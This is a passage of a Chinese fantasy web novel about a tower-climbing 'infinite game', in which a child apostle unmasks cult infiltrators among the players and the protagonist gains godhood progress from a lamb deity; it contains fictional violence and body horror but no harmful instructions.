第二次S级诡王副本,刷新了欧洲区的历史最高副本评级,各大政客掌权的知名公会被惊动,论坛讨论量飞一般上涨,热度一夜登顶! 万众瞩目的直播镜头前,男孩顶着两个硕大的黑眼圈,神色恹恹地举起手里新鲜出炉的特级珍奇道具,放话。 ——谁要是能帮他找到【占星师】,此后他通关副本获得的所有特级道具,都将无偿送人。 此消息一传开,【占星师】用来赚零花钱的秘密占卜小屋,在短短半小时内被之前兴起接待的顾客淹没,差点炸了。 【占星师】被骚扰得日常生意都没法做,只好捏着鼻子和第十二使徒私下见面。 姑且不提第十二使徒此后再也没下过副本,那些大着胆子得罪【占星师】的人如何恨得牙痒痒,单就第十二使徒表现出现的实力,就叫所有观众崇拜得五体投地。 后来又有人见第十二使徒的脸精致漂亮,相当具有标识性,扒出对方疑似名气衰落的王室后裔,更加激动得心潮澎湃,纷纷点击关注。 也是在这次副本进行得热火朝天的时候,直播页面冷不丁蹦出上线提示。 ——第十二使徒【小羊】居然打开了直播! 登时,一群外洲区观众嗷嗷叫着冲进了直播间。 但今时不同往日,这一次副本可以说承载着所有玩家的希望,他们多少收敛了几分,不像往日那般肆无忌惮。 :小羊,你现在登上第几层了? :你不该这么问,主播看不见弹幕。 :fuck系统,离谱的限制。 :小羊在什么地方?好眼熟。 :看起来像是登塔的传送通道。 :上帝啊,他的周围有好多尸体! 直播画面里,登塔通道内部干净静谧,阳光照在金属墙壁上,反射出淡淡的白光。 八岁左右的男孩抱着玩偶席地而坐,身下垫着一张不知道哪儿找来的软垫,眼睛微微闭着,脑袋一点一点,似乎在打瞌睡。 在他四周,横七竖八躺着无数人,脸上脏污,模样凶戾,扭曲的肢体上套着破破烂烂的钢铁甲胄。 不,说是人不太恰当,只因那些家伙都是兽头人身。 :不是尸体,还活着,他们的胸口在动。 :NPC吗,什么身份? :我刚从第一使徒的直播间过来,他们应该是起义军。 :你们看他们的甲胄,破破烂烂,并不合身,都是从正规军的尸体上扒下来的。 :小羊为什么要阻拦这些起义军?只要把他们放上去,他们就会联合其他王族一起掀翻黑王的统治,登塔也会更顺利。 :是啊,我看其他直播都是这么做的。 也是这时,旁边忽然传来一阵排山倒海的欢呼声! 外洲区观众眉头一跳,扭头看过去,果不其然,又是那群中洲区的猴子在欢呼,瞬间不耐地皱脸拧眉。 “天啊,他们到底在尖叫什么?不知道很吵吗?” “听说某个中洲区主播的副本里出现了一名叫“谢叙白”的神祇,那名神祇曾经帮他们多次通关。” “有什么好兴奋的?我们的神级玩家不需要神明现身,自己就能轻松过关!” “哈哈哈哈,据我所知,中洲区因为违反规则遭到系统的重点针对,根本就没有多少神级玩家,连A级诡王副本都差点被团灭,可怜一下这群弱小无能的家伙吧。” 旁边的中洲区观众听到他们的嘲笑声,怒火噌噌往上涨。 殊不知那些人在故意挑衅,如果中洲区观众冲动之下攻击他们,那就违反了直播区的规则,上报给系统可以获得举报积分,并把他们看不惯的中洲人驱逐出去。 周围的人连忙拉住那名中洲观众,看着他们嚣张得意的样子简直鬼火冒。 有人突然瞄见他们的直播画面,记下ID一声不吭地搜索直播间,差点笑开了花。 他把自己的发现和大家一说,其他人一咧嘴,看向那群小丑的眼里只有怜悯和奚落。 ——笑吧,尽管笑吧。 ——别管你们的使徒有多强多牛逼,一会儿见到我们的人不跪不认怂,他是这个(竖拇指)。 几名外洲区观众也不知道为什么。莫名其妙有种被看低的感觉。 可那些中洲区观众什么都不说,一脸嘲弄地吊人胃口,让他们愤怒不是,动手更不是,有种拳头打在棉花上的憋屈感。 直播画面中,棕色卷发的波兰男孩忽然睁开眼,眼睫一抬,毫无征兆地询问:“你们说的谢叙白,到什么地方了?” :??? :?????? :小羊?你是在问我们吗?你能看到我们的弹幕吗?? 直播间瞬间炸开了锅,毕竟主播能看见弹幕这件事简直闻所未闻! 男孩的眼底映照着足以让人眼花缭乱的弹幕,呈现出一种疏离人世的麻木。 直到登塔通道从外打开,有人走了进来,他才面无表情地抬了下眼睛。 结果这一看,就像被按下暂停键般定格在原地,瞳孔微微发颤。 第235章 成神进度:78% 心细的观众几乎一眼就发现了第十二使徒的不同寻常。 除去当众喊话【占星师】的那两次,他们还从来没有看见男孩如此激动过,好奇心油然而生,顺着直播镜头看过去。 空荡荡的大门口站着一道笔直的身影。 白色军式作训服完美贴合腰背,肩膀徽章被隐去,剪裁得体的布料勾勒出漂亮削薄的肌肉线条,双腿修长,眼神平静,像把藏刃于鞘的利剑,内敛却不失锋芒。 观众瞬间安静了两三秒,接着无数条弹幕飞快刷屏。 哪怕跨洲区玩家的审美各不相同,他们也不得不承认,有那么一瞬间,被年轻人扑面而来的气势惊得心肝抖颤。 :是中洲人? :不知道为什么,他长得并不漂亮,我却觉得他很美。 :你觉得他不漂亮,或许是因为他使用了某种伪装道具。但独特的气质是无法掩盖的,依旧能够透过皮相让人心动。 :原来是这样,真想看看他真正的长相! :我只想知道他是谁,是中洲区那边的大神玩家?和小羊到底是什么关系?朋友吗? 却见男孩抱着玩偶站起身,兴冲冲地扑进走过来的中洲年轻人怀里! 那动作不是一般的熟稔,先让年轻人帮忙拿玩偶,然后伸出双手抱住腰,双脚往上轻巧一抬,灵活地把自己挂了上去,像个极擅攀爬的树袋熊 最后还不忘从年轻人手里接过玩偶。 在脱离男孩手掌的某一瞬间,羊形状的玩偶剧烈一颤,眼睛变得通红无比,仿佛随时都能渗出血来。 下一秒,它猛然僵住,露出的利齿迅速收回,眼睛也不红了,分分钟恢复正常的黑色。 外洲区观众:…… 外洲区观众:???? 他们惊愕极了,不敢置信盯着毫无动静的羊玩偶。 那玩偶可不是什么毛茸茸的装饰品,里面塞了一只第十二使徒从S级诡王副本薅来的咒灵,凶性难灭,危险无比,杀伤力极强。 为什么此时在年轻人手里乖巧温顺得像只兔子一样?他做了什么?? white将男孩往上一托,方便他抱得更稳,反手自然而然地拍拍后背:“你的黑眼圈很重,心脉也很快,有多少天没有好好睡过觉了?” 年轻指挥官身上散发的神辉,仿佛能浸润紧绷的神经,男孩那副对什么都兴致缺缺的厌世脸逐渐舒坦起来。 他流露出久违的轻松:“很久了。一开始我用女巫的昏睡药入睡,后来喝得太多产生抗性,渐渐不再起作用。我又找到希尔,但他的菟丝子没有继承多少醉人的力量,只能勉强睡上一小会儿。他一路上又总是说话,我被吵醒好几次,啧……” 男孩不经意间流露出怨气的絮絮叨叨,像极了对亲人的抱怨。 最开始嘲讽贬低中洲人的几名外国观众完全懵了,这会儿再看中洲观众意味深长的目光,终于明白怎么回事。 ——合着他们早就知道white会来找第十二使徒,特地在看他们的笑话! 其实这根本不是什么事,对突然出现疑似盟友的神级玩家,大多数观众只会为通关成功率更高而感到喜闻乐见。 然而这几人心里是另外的想法,只要是他们歧视的人,周围的人也必须一起跟着歧视,否则就是背刺,是道德败坏。 :第十二使徒!你知道我们不应该给这些中洲人好脸色,如果不是他们作弊触犯规则,游戏就不会变得这么难!死亡率也不会这么高! :为什么你不去找其他使徒? :让他滚远点!!!! :你是不是被他施加了什么巫术?还是被狗屎糊住了眼睛? 眼见他们说得越来越过分,一些看不过眼的观众站出来为人说话。 :我去观察过中洲人的直播间,他们其实没有政客报道的那么不堪…… :系统针对玩家,是因为它想要杀死我们。还有,不要那么说话,其他洲区可以看见,会显得很没有教养和礼貌。 然而长久以来,经由外洲政客和系统的抹黑诋毁,大部分观众都对中洲人没什么好感。 反驳澄清的言论渐渐被压下去,引战的极端弹幕充斥整个直播间。 他们知道第十二使徒可以看见弹幕,由此强烈呼吁男孩表态,痛揍面前的中洲人,禁止他登塔! 弹幕里的污言秽语打断男孩想说的话,他眼珠子一抬,对上直播镜头。 那几个恶意煽动观众情绪的人,看见他们终于引起第十二使徒的注意,露出满意的笑脸。 直到男孩一丝不差地叫出他们的真名:“艾萨克.贝尔、霍恩比.J.乔治、塞纳尔.安德森。” “你们特地跑到我的直播间来诋毁中洲人,是【诺亚方舟】给你们发布的任务吗?” 三人脸色大变,唰一下惨白无比。 直播间再次出现短暂的寂静,紧跟着弹幕爆炸式增长,字里行间都是惊怒。 :诺亚方舟?他们是诺亚方舟的人! :这群该死的疯子邪教徒!他们怎么又冒出来了! :快去找他们的位置!!举报给联盟! 不怪这群外洲观众如此惊怒。 【诺亚方舟】是臭名昭著的反赎回派,他们自称无限游戏的降临是圣经所说的灭世洪水,是地球对人类的净化和洗涤。 活下来的三亿人已经是筛选后的结果,不应该忤逆上帝的意愿,去强行救回之前的人类。 听到这里会觉得这个世界真是大差不离,不管哪个洲区都有什么反赎回派、灭世派、新人类进化派。 还有人冷血冷心地觉得之前活得那么苦和累,就是因为地球资源紧缺,不够平均分配。 现在减掉一大半,剩下的人可以活得更滋润,不是正好吗? 就跟《复仇O联盟》里的O霸秉持同一个想法。 选择消极通关、咸鱼摆烂、娱乐至死的人不在少数,然而,【诺亚方舟】的做法远没有那么无害。 先是在副本中制造大型伤亡事件,致使本来有希望通关的队伍全部团灭。然后暗中掳走高潜力玩家,用各种阴邪道具,进行丧心病狂的人体实验。 有人拼死逃出来的时候被拍过照。 被害者浑身上下被鲜血浸透,伤口腐烂,不断流出恶臭的脓水。手脚和怪物狰狞的肢体拼接在一起,映射着某种拼接实验。 最恐怖的就是身上大大小小的手术疮疤。猛一下,疮疤开裂,无数颗圆滚滚、滑溜溜的眼珠子从里面钻出来,惊恐地看向四周。 被害人连叫都叫不出来了,精神失常到双目呆滞,痉挛着痛晕过去。 那凄厉的惨状也一度让周围的玩家肝胆俱裂,魂飞魄散。 一开始他们还觉得【诺亚方舟】的人只是脑子不太正常,现在则是人人风声鹤唳,闻风丧胆,仇恨厌恶至极。 那三人见势不妙,扭头想跑。 岂料第十二使徒接下来又精准地报出他们的观众席坐标和具体相貌,附近观众群起攻之,将慌张失措的三人蛮力拖出直播区域,扭送到联盟。 要不是禁止攻击行为,他们路上就恨不得将这些败类人渣给灭了。 三人被送走后,吵吵闹闹的直播间陷入难言的尴尬,毕竟大部分人都被成功煽动,跟着起哄批判中洲人。 然而不等他们道歉或是改口挽尊,面无表情的小羊突然抬起手,啪一下将直播间给关了。 本来他开直播就是因为等得太久,想要获取谢叙白的最新情况。 现在人已经等到了,自然就不需要再开直播了。 毫无防备被踢出直播间的观众们:…… 顿时一片哀怨声。 不过,他们也更加好奇起white到底是何方神圣,毕竟小羊的脾气大家有目共睹,不管遇到的人强不强,他都一副不感兴趣懒得理会的样子,唯独对white表现出不一样的亲近。 可是外洲观众又怎么得到中洲玩家的情报? 他们相互对视。 以前去中洲工作或是旅游过的观众,毫无负担地顺着热度排行榜,点开了中洲区巅峰会长的直播间。 好巧不巧,正播到几名精锐玩家联手清除怪物潮,那干净利落的斩杀动作,让不少想要打开其他直播的观众愣在当场,看得失神瞪眼。 “ohhhh!好酷!!” 这时候他们才发现,中洲人,好像没有他们想象的那么弱。 精彩纷呈的战斗画面,就像点燃某个连锁的化学反应。改变就在观念动摇的瞬间。 纠结好几秒,那些外洲区观众终究还是没忍住,暗搓搓点开中洲区的直播间,前几分钟还端着,后十几分钟就被热情的弹幕同化,忍不住为里面各种强悍精妙的操作喝彩! 世界终于清静下来,小羊看着谢叙白,染满疲惫困意的眼睛顿时亮闪闪的:“white,你能不能……” 结果整个空间突然一阵晃动! 谢叙白几乎一秒反应过来,这是空间破壁引起副本融合。 但是情况有些不对劲,只因原本空无一物的地方,忽然浮现好几道模糊的人影。 那是另一个副本的玩家——不是新手或小白,是已经通过好几天的极限关卡后活到现在的高级玩家! 可是在这几道人影后,竟然接二连三又出现了十几道人影,并且没有停下来,还在陆续增加! 人数太多了,谢叙白瞬间感觉不对劲,为什么他们会在融合后被集中在这一层的登塔通道? 他忽然想起什么,看向男孩:“小羊,难道你……” 就像到嘴的鸭子突然长翅膀飞了,小羊眼神无光,脸上没笑,对突如其来打断自己睡眠大事的变故,只有咬牙切齿:“我夺得了这一层守关BOSS的权限。” 第236章 成神进度:78%…… 谢叙白的目光落在男孩的脸上。 男孩神色淡淡,不见慌张凝重,似乎玩家会聚集于十一层,一开始就在他的意料之内。 甚至有可能,对方就是考虑到会发生这种事,所以才会抢夺守关boss的身份权限。 谢叙白忽然想起一个人:“莉莉丝和你说了什么?” 莉莉丝,命运神器【窥见未来之眼】的持有者。 世人只知道她是名动外洲区的【占星师】,却不知道她还有着另一个不同寻常的身份——第三使徒。 谢叙白也是恢复记忆后才想起她是谁。 其实他俩的关系有点尴尬,公事上是可以把背后交给对方的战友,私底下莉莉丝却是全球联合会鹰派的被资助人,而谢语春和裴玉衡都是鸽派代表。 虽然在战略主张上,双方立场并没有那么泾渭分明。在系统还未暴露丑恶嘴脸的初期,以谢语春两人为首的学院派,一眼相中无限游戏给人类命运带来的无限潜能和机遇,秉持着科研探索创新开拓进取的精神,试图在游戏和现实两者间寻求一个平衡。 直至后来事故频发,几十亿人的无端消失成为第一个冲突爆发点。他们陡然意识到无限游戏看似时来运转天赐良机的表象下,实为侵略者贪婪可憎的本质。此后越研究下去,越发觉得心惊胆战、不寒而栗,于是坚决主张对抗系统消灭游戏。 而联合会鹰派则是反着来。一开始无法忍受外来者的干预,此后又从中看到了莫大机遇。 以至于延伸出日后那极其戏剧化的一幕:鸽派痛斥鹰派过于保守,鹰派抗议鸽派过于激进……这些都先不提。 重点在于,联合会将莉莉丝推举出来,就是为了争夺谢叙白“第一使徒”的位置和权力。 可想而知,在背后势力持续不断的压力下,莉莉丝会对谢叙白产生什么样的负面看法。 他俩最初也确实恶劣到形同水火的地步,毫不夸张地说,谢叙白前期指挥作战后收到的弹劾举报,有百分之八十五都出自以莉莉丝为首的鹰派候选人员,甚至还是实名弹劾。 直到之后发生的一场变故,让莉莉丝的双腿再也站不起来,也让谢语春决心瞒着除谢叙白以外的所有人,将莉莉丝收为亲传学生,暗中协助谢叙白。 他俩后来的关系到底算不算得上朋友,这个谢叙白说不上。 但可以肯定的是,如果有一天,他必须从十二使徒中选择一个人来共同执行至关重要的秘密计划,不管是能力还是坚守任务的意志,只有莉莉丝可以胜任。 然而世事多都是计划赶不上变化。 正如连谢语春都没能预测到第二使徒会突然找上谢叙白,谢叙白也没能在临终之际和莉莉丝提前商议对策,说明原委。 那天紫雷漫天,震耳欲聋。 意识到什么的莉莉丝正在占卜命运线,眼中恒星疯狂转动,皱着眉头一脸不安。 猝然看见满身是血、沉重走来的他,惊骇无措间,莉莉丝手指一颤,悬浮半空的塔罗牌啪嗒掉了一地。 知道谢叙白想要吞掉她的神核,莉莉丝先是不敢置信,死死盯着他,又慢慢沉默下来。 其他使徒都是在激烈反抗或无力的妥协下,被他吞掉神核。 唯有莉莉丝,她抢在谢叙白动手之前,忍着非人的剧痛,硬生生将神核从灵魂深处挖了出来。 她动作太快,狠辣果决,眨眼的功夫,溢散着莹莹光辉的神核就被丢到了谢叙白的手上。 处于极限边缘的谢叙白根本没来得及为她加护。 没有加护,剥离神核的致命性损伤也让莉莉丝那一世的生命迅速走向倒计时。 但她满不在乎,嘴角溢血,往后瘫坐在轮椅上。 雷电划过天幕,电光穿过窗户映照着她颤抖的嘴唇,那瞬间她眼圈微红,却只是冷冰冰地丢下一句。 ——“你是我见过的混蛋中,最喜欢自作主张的那一个。” 谢叙白猜测,莉莉丝应该是在最后关头占卜到了他将要干什么。 她非常不认同也不赞同谢叙白的做法,然而后者已经先斩后奏,让形势变成箭在弦上不得不发,无奈之下只能听从配合。 约莫是从这一件事里认清谢叙白没有想象中那么靠谱,所以这一世游戏重启后莉莉丝直接选择单干,连见面都省了。 小羊没有否认见过莉莉丝,不过他对自己踩中莉莉丝的算计持否认态度。 谢叙白问:“那你为什么要夺取守关BOSS的权限?” 这位置不是那么好坐的。 参考第一层的希尔,守关BOSS没法擅离职守,除非有人可以接替位置,不然直到游戏结束都没法离开十一层。 小羊回答得很坦荡:“为你开路。” 果然。 谢叙白叹了口气,这不就和许清然一样被忽悠了吗? 但小羊不这么认为,说话甚至带上几分严肃的警告:“white,你的灵魂经不起再一次破碎了,你有意识到这件事的严重性吗?” 谢叙白顿住。 小羊神色不变:“或许莉莉丝让我成为十一层守关BOSS,有算计我的成分。但一开始是我先找上她,询问有没有增加胜算和保大家平安无事的办法。” 小羊:“她只是提议,而决定权在我。至于糊弄我……” 湛蓝的圆眼睛不知不觉变成羊类的横条状,传说中的羊角恶魔也是这样的眼睛,幽深阴暗,叫人汗毛倒竖。 男孩用这样的眼睛看着谢叙白,幽幽询问:“你觉得,她有欺骗我的能力吗?” 【缄默的羔羊】的被动技能——“无声的旁观者”。 中洲有个恰到好处的解释,即“旁观者清,当局者迷”。 这一附加技能可以让第十二使徒透过任何虚幻的现象,直接窥见那些隐秘的真相和真实。 但基于“缄默”的技能特性,他虽然清楚那些真相,却“懦弱”得“不敢”向任何人提起。 谢叙白心想莉莉丝是没说谎,但世上还有一种计策叫阳谋。 如同把唯一能够救火的水源用荆棘围起来,你是要看着房子被烧光,还是顺从她的意愿走过荆棘取水? 但男孩又怎么可能不知道自己要“踩上荆棘”? 他知道了还去做,只因心甘情愿。 谢叙白默了默,笑着肯定道:“当然,没有人能够欺骗你。” 男孩仍旧没什么表情,嘴角却勾起一个细微的弧度。 身后,副本融合进入尾声,大批玩家的身影逐渐清晰。 有人还没反应过来自己为什么会被传送,落地的瞬间注意到谢叙白两人,下意识甩过去一个鉴定术。 鉴定结果让他心惊肉跳。 这一次副本试炼将系统的恶意诠释得酣畅淋漓,无论是王国公民还是守关BOSS,对所有玩家的仇恨值直线拉满到爆表,见面喊杀喊打下死手,根本不给交谈沟通的机会。 这些玩家在原来的副本直接被整出PTSD了,冷不丁鉴别出守关BOSS,第一反应就是先下手为强,直接催动攻击技能。 结果却是……没有反应。 居然没有任何反应! 不止是这名玩家,其他玩家也骇然发现他们无法使用技能! 而且不止是技能,功能道具、武器即防具,乃至于各种系统功能,居然都处于失效状态。 要知道哪怕是特殊地图,他们都还能从背包里取用普通工具,现在却连工具都拿不出来了! 不止如此,他们无措慌张地看向同伴,想要商讨对策,却发现同伴的脸是那么陌生。 强烈的排斥感袭来,他们想也不想地后退,飞速拉开距离。 仿佛面前不再是能够信任的队友,而是随时会牵连自己的陌生人。 不对,这很不对劲!到底是哪里有问题?! 也是这时,终于有人认出小羊的长相,愕然喊出他的代号:“十二使徒?!” 【缄默的羔羊】主动技能——“沉默的羊群”。 【技能介绍】 羊是很胆小的生物。面对恶人的屠杀,羊群将总是保持沉默,不愿对同胞伸出援手,不敢发出声音,无力抵抗任何伤害,直至被屠夫逐个宰杀。 在其他洲区,十二使徒的名气不是一般的大,新闻社甚至专门出过采访专辑,销量断层领先。 寒意顺着后脊髓窜入玩家们的大脑神经,冷汗唰地流淌下来。 有人问:“你……您为什么会成为守关BOSS?难道您……背叛了我们?” 该做正事了。 小羊慢吞吞地松开抱着谢叙白的手。 青年散发的神辉温暖干净,能极大程度抚慰他精神上的疲累。 他很想继续赖在谢叙白的身上,然而white正式场合一向不苟言笑,板正严肃。 却意外听到谢叙白传来的识念,似是遗憾地叹息:【好不容易见到老熟人,还不愿意让我多抱一下吗?】 小羊唰一下又抱回去了,还从善如流地用上了双手。 这一幕当然也叫玩家收纳眼底,注意力齐刷刷集中在谢叙白的身上,心中满是惊疑不定。 小羊随即抬手,一座熊熊燃烧的地狱门拔地而起,高温仿佛能将地板融化。 门上嵌着半具身体,羊头人身,角巨大,肌肉遒实,双手撑着门沿,黑紫色的青筋鼓起,露出尖牙的嘴涎水直流,看上去随时都会从火焰中扑出来。 作为守关BOSS,小羊面向惊恐的玩家:“闯关条件很简单,通过这扇真实之门。” 真实之门是什么东西? 玩家面面相觑,其中一人眼一闭心一横,大着胆子上前。 熊熊火焰镣烤皮肤,滚烫的热意逼出汗液又在瞬间蒸发,往上能看见羊角恶魔虎视眈眈盯着他的眼睛,心跳在耳边发出轰鸣,仿佛要撞碎胸腔跳出来。 可直到他闭眼捏拳走过这扇门,身上也没有遭受什么实质性的损伤,不由得惊喜回头:“我这算通过了对吧?” 小羊:“对,等测过所有人之后,统一放行。” 其他玩家见第一个人没事,也试探性地往前走了两步,那温度确实高得让他们抓狂,但却不会造成实质性的伤害,高兴地冲了过去。 “早说这么轻松,我还以为会发生什么恐怖的事情呢!” 正是这时,谢叙白似有所感地看向人群后一个戴着棒球帽压低脑袋的玩家。 小羊注意到他的眼神,叫那人:“下一个,你来。” 被点名的玩家身体一僵,极其不忿地嚷嚷:“凭什么你让我来我就来?大不了我不登塔了,仗势欺人吗这不是!” 他一开口,旁边立马有人应和:“是啊!登塔有时限,为什么我们要浪费时间在这里做这种无意义的事,我——” 巨大的力道从身后袭来,那人慌张地往后一看,对上玩偶羊的笑脸,玻璃珠似的眼睛鲜红似血。 “咩~” 他惊恐尖叫一声,被玩偶羊凌空拎起来,半空中划开一道完美的抛物线,撞到地狱门上。 下一秒,这名玩家的身体被火焰点燃。 “啊啊啊啊啊啊啊——!” 让人惊恐无比的事情发生了,但惊恐的不是这名玩家的惨状。 只见他的身体居然在火焰炙烤下如蜡烛般融化,皮肤像沥青般脱落掉地,露出来的内里居然是一串意味不明的数据流,那数据流疯狂扭曲,眨眼的功夫又变成黏稠腐烂的血块。 数据流的出现代表什么,玩家们不清楚,但他们认得这人后背露出来的标记。 ——一艘原本在神话故事里有着希望寓意的船,诺亚方舟。 第237章 成神进度:84% 外洲区玩家无人不知道这个组织的灭绝人性,脸上惊惧瞬间转为痛恨快意,喧哗声此起彼伏。 人群中有几个和棒球帽男一开始就站得很近的玩家骤然色变,匆忙压低脑袋,暗搓搓地挪动脚步。 小羊没有情绪起伏地看过去:“这一次混进来的老鼠真不少。” 感受到危险的几人脸色发白,顾不上伪装,迈开腿全力朝着通道外跑去。 然而羊玩偶的速度比他们更快,明明前一秒还在人群中,下一秒就闪现到几人面前,在他们惊恐的尖叫声里,如法炮制地将他们一个个精准丢向大火熊熊的地狱门。 几人重重地摔在地上,身后大片的阴影从头落下。门上的羊角恶魔挥舞铁钳般的巨手,将他们抓在手中,放入遍布利齿的血盆大口。 嘎啦一声,大嘴合上,鲜血如同爆开的西瓜汁哗啦啦流淌,染湿鬣毛茂盛的下巴。 “……” 从那些人被发现到落入羊角恶魔之口,前后花费不到两分钟时间。如此恐怖的实力,让其他玩家望向小羊的眼里染上明显的畏惧。 小羊却没看他们,手势示意其他人继续走。 明白地狱门只是筛选诺亚方舟组织成员的道具,玩家不再迟疑,快速排队过门。 偶尔有人心虚想跑,也会被羊玩偶一个不落地抓回来。 除了这时候会响起撕心裂肺的惨叫声以外,整个玩家队伍也算是井然有序,风平浪静。 有人再次注意到了谢叙白,原因无他,这个气度不凡的年轻人从头到尾都是一副平静沉稳的样子。 无论是发现诺亚方舟组织的人,还是看着他们死去,青年的眼皮子都没有颤动一下,让人忍不住怀疑他到底是见惯了生死的大佬,还是天生冷心冷情。 小羊说:“第十一层是黑塔层级的分水岭,往上将遇到王国的权贵阶级,登塔通道均有重兵把守。” “他们中大多是懦弱无能的草包,不足为虑,但最后那几层的王贵领主,每一个都强到睥睨半神级,他们大概率会故意拖延玩家的登塔时间,哪怕正面对战能打过,我也不建议你在限时游戏里和他们对上。” 谢叙白一点就通:“这里是不是有什么快捷通道?” “没错,从第十一层开始,每层都会出现一个只有守关BOSS才能开启的vip通道。” 小羊无波无澜的眼睛流露出一丝嘲讽:“听起来很现实。只有低段的层级需要一层层往上爬,中段以上都能凭借王公领主等高位者给出的特别邀请函,实现跨多个层次跃迁。” 原本这是王国NPC的机制,玩家要是走这个捷径,多少会被判罚违反游戏规则。 ——前提是宴朔没有成为黑王。 因为宴朔是黑王,所以不管谢叙白他们用什么讨巧的办法登上塔顶,都不会触犯规则,反而会被大力褒赞头脑灵活。 可惜谢叙白是伪装玩家,不是真的玩家,不然宴朔在第一层将他的分魂抱回王宫的刹那,就已经宣布游戏胜利了。 “特别邀请函……”谢叙白一路走来都没有遇见过这个东西,“在哪里可以获得?” 不止谢叙白有这个疑问,暗中听墙角其他玩家也不由得竖起耳朵,期待小羊的回答。 岂料小羊还没开口,谢叙白脚下的影子忽然颤动。 冰冰凉凉的雾气蔓延,一根粗壮湿滑的触手如蛇般缠绕上青年的身体,似是不经意地在青年脸上蹭了一下。 悬在半空的尖端勾着一张字体鎏金的卡片,左下角映着荆棘王冠模样的印章——正是谢叙白想要的特别邀请函! 这下连小羊都忍不住目瞪口呆,忙不迭从怀里拿出另一封邀请函,目光触及触手,他微不可察地撇开视线,似是避其锋芒。 和谢叙白手中的邀请函不同,这份邀请函字体没有那么鲜亮,亦没有王冠印记,只有游戏王国权威机构的盖章。 小羊没有波澜的脸上流露出莫大的惊喜:“太好了,你得到的这张邀请函可以直达二十一层!” 比他事先准备的要好太多,他的只能多跨五层! 周围的玩家一听,立时就坐不住了,眼巴巴地盯着两人手里的邀请函,那不是一层两层,是直接跨十层呐! 当即有玩家迫不及待地站出来,语到嘴边又突然卡壳,十二使徒可是早已成名的神级玩家,积分道具什么的都不缺,他们又能拿出什么值得交换的东西? 于是期许的眼光齐刷刷转向谢叙白,希望能从这个人的身上讨得一丝机会。 刚巧谢叙白问道:“我还有几十个同伴,能不能用这张邀请函带他们一起上去?” 小羊为难地皱了皱鼻子:“规则明令,一函一用。” 一用…… 谢叙白沉吟片刻,少顷换了个说法:“我并不是参赛选手,只是慕名远道而来的商客,想为尊贵的黑王陛下献上家乡的游戏。” “那游戏布置起来相当繁琐,于是我沿途雇佣来不少助理和帮工为我打下手,为了保证游戏呈现给黑王陛下时的完整精良,他们是不可缺少的一环,如此,能不能稍加通融?” 小羊几乎瞬间回过味来,眨眨眼:“当然可以。” “你拿来的邀请函出自王族,又有黑王陛下的亲签盖章,想必陛下对这场游戏期待已久,哪怕稍微通融一下,又有什么问题?” 男孩捧哏似的地接上那句沸沸扬扬的场面话:“一切都是为了尊贵的黑王陛下——” 本来十一层的登塔通道还有几分躁动,两人一唱一和拿黑王的名头压下来,立马安静如鸡,不敢吭声了。 规则是安静了,玩家却在下一秒全面沸腾起来,心潮澎湃! 听听谢叙白刚才说的什么?几十名同伴!反正都要带上去几十个,加ta一个完全不多! “这位先生,大佬!您看看能不能顺便把我捎带上去?酬劳您尽管提!” “大佬!高手!看看我啊!我的战力测定在A+往上,能力是XX!我完全可以给您打下手,您让我做什么我就做什么!您指东我绝不向西!” “是啊是啊,人手多了不愁啊大佬!您要是实在不放心,我们可以签契约的!” 十分钟过后,宴初一带着徐济一行人来到登塔通道,无偿收获一批高战力队友。 而新加入的玩家听说谢叙白会留下标记的事,那些冷静观望的高手玩家也忍不住动容了,整个团队其乐融融,气氛再度被烘托得空前热烈! 前往二十一层前,影子为谢叙白两人屏蔽认知结界,小羊露出神眷者印记,呼唤自己的契约神祇。 【缄默的羔羊】不属于正史神祇,是盛名远传后作为一种概念成神,不管前世今生,谢叙白还从来没有见过祂的实体。 却没想到,出现的居然会是一只篮球大的羊崽崽。 蓬松绵密的绒毛,耳朵甩一甩,短粗的四条腿让祂有种动漫的萌感,看起来就像团雪白的云朵,两只纯黑的豆豆眼无声地看向谢叙白。 真.羔羊。 谢叙白对德高望重的长者,向来十分敬重,然而这反差感扑面而来,他下意识联想到家里的毛茸茸们,掌心发痒。 羊羔神祇似有反应,也不知道祂是怎么动的,只看见四条粗胖短腿划拉划拉,眨眼的功夫就从下方蹭上了谢叙白的掌心。 瞬间,谢叙白的成神进度从78%跳跃到84%! 将要接收神力时,谢叙白就发现这一次不同寻常,神力如潮水涌入意识海,他的意识无形中得到升华。 眼前的世界像是被清水洗涤过一遍,每一缕能量线条都清晰地浮现眼前,各种虚虚实实的界限,他“看”得更清楚了。 刹那间,谢叙白的心跳直线加快,像是有十几头鹿在胸腔乱撞。 要知道神力提升,越往后难度越大,就像游戏里的修炼升级,前十级需要三千经验,后十级可能就需要三万。 而酒神为他栽种神藤,在60%的坎上也只提升了5%的进度,面前的羔羊神祇不仅助他突破80%的难关,还让进度提升了6%,怎么不让谢叙白惊讶感激? “我有什么能报答您的吗?”他弯身,视线和羔羊神祇齐平,眼中闪动波光,郑重其事地问。 羔羊神祇摇了摇头,豆豆眼无声地弯出圆润的月牙状,在谢叙白的掌心蹭上几圈,似乎在撒泼打滚。 不过在快要碰到青年身上的漆黑触手时,羊羔神祇总是会有意无意地避开,就像刚才的小羊一样。 谢叙白领会祂的心意,如祂所愿,用金光凝结出一把细密的毛刷。 白皙修长的指节压入柔软的白羊绒,彼此相得益彰。 谢叙白用上神力,陡然发现羔羊神祇的羊毛下,藏着不少秽意浓郁到黏稠的污染物质。 那些物质实质化为某种血红发黑的寄生虫,最小的堪比米粒,密密麻麻地叠在一起,耸动个不停,恶心得人头皮发麻。 它们正用尖锐的细牙啃噬神体,吃得不亦乐乎,谢叙白的神力一扫过来,像受惊失措的老鼠般钻入皮肤上被咬出来的坑洞。 坑洞斑驳,惨不忍睹。谢叙白眉头直皱,下意识摸着羔羊神祇的头柔声安抚。 “请您忍耐一下,我这就为您治疗。” 第238章 成神进度:84% 这些污染物质乍一看和系统十分相像,能量波动混乱无序且吞噬力极强,就像一个失控且拥有自主意识的黑洞,会贪婪地蚕食周围所有的物质。 谢叙白并不陌生,无限游戏没有降低副本难度前,从那些外神BOSS身上剥离出来的能量体就是这一形态。 他眼中金色隐现,催动精神力,金光分散成丝丝缕缕的线条,穿梭于白羊绒之间,宛若在密林里沉心静气的猎人。 黑红毒虫窸窸窣窣,狡诈奸猾,但凡感受到一点风吹草动,就呲溜一下潮水般窜走。 但金光丝线不急不缓,从毒虫藏身的的头顶穿过。 或许是没有遭到攻击让这些毒虫逐渐放松警惕,它们慢慢露出个脑袋,半晌,再度对面前的血肉露出贪婪的嘴脸和尖锐狰狞的口器。 便是等到它们大片出现的刹那间,早已编织出天罗地网的金光猛然出击! 